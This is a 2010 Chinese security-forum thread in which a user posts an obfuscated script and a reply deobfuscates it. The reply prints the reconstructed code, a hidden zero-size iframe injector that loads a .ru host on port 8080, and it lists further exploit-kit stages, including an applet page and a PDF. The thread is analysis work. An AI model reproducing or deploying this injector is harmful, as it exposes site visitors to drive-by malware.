1   1  /  1  页   跳转

[求助] 帮忙解一下.

帮忙解一下.

把代码压缩上传.

附件附件:

文件名:s.rar
下载次数:197
文件类型:application/octet-stream
文件大小:
上传时间:2010-5-6 22:09:08
描述:rar

最后编辑kekao 最后编辑于 2010-05-06 22:09:08
分享到:
gototop
 

回复: 帮忙解一下.

整理代码后可知
t[k]=l+Tb+b;
var l="htt"+"U0vlp:/".substr(4)+"jmts/pa".substr(4)+"ssp"+"k7Gort".substr(3)+"3Ajqblu3jAq".substr(4,3)+"es."+"ru:";
var Tb=987146-979066;结果是8080
var b=new String("Iwz/go".substr(3)+"ogl"+"e.cNlT9".substr(0,3)+"om/"+"bosCUhX".substr(0,3)+"ton"+".co"+"m/wu8p".substr(0,3)+"atc"+"fUah-mfUa".substr(3,3)+"13Kovi1K3".substr(3,3)+"es-"+"onl"+"ine"+".tv"+"lI4.phI4l".substr(3,3)+"piBM".substr(0,1));
把上面的变量整理一下就出来了
地址为:
http://passportblues.ru:8080/google.com/boston.com/watch-movies-online.tv.php并获取代码得:

var divTag = document.createElement('div');
divTag.id = 'Isnwusds3';
document.body.appendChild(divTag);
Zzc6o3dx = 'hnt?tnpM:?/?/mpna?sMsMp?oMrmtnb?lnu?eMsm.4rMu4:n8?04'.replace(/[4\?nMm]/g, '');
Qlao5oh9 = document.createElement('iWf.rAaWmWeA'.replace(/[AWI\.H]/g, ''));
Qlao5oh9.height = '0';
Qlao5oh9.width = '0';
Qlao5oh9.src = Zzc6o3dx+'8P0E/EiEnEdEesxP.spPh)p)?soslP=)&EwPq]=)&]p]iPdE=)1)'.replace(/[\)\]sEP]/g, '');
document.getElementById('Isnwusds3').appendChild(Qlao5oh9);


解出地址
http://passportblues.ru:8080/index.php?ol=&wq=&pid=1
还可以继续解下去。
关于:解密的日志(全体输出 -  5):
Level  1>http://passportblues.ru:8080/google.com/boston.com/watch-movies-online.tv.php
Level  2>http://passportblues.ru:8080/index.php?ol=&wq=&pid=1
Level  3>http://passportblues.ru:8080/Applet1.html
Level  3>http://passportblues.ru:8080/Notes1.pdf
Level  3>http://flowlaugh.ru:8080/welcome.php?id=0pid=1
日志由 Redoce2.0第88次修正版于 2010-5-8 14:03:04 生成。

附件附件:

文件名:8080.rar
下载次数:340
文件类型:application/octet-stream
文件大小:
上传时间:2010-5-8 14:06:47
描述:rar

本帖被评分 1 次
最后编辑shadowmin 最后编辑于 2010-05-08 14:08:20
gototop
 
1   1  /  1  页   跳转
页面顶部
Powered by Discuz!NT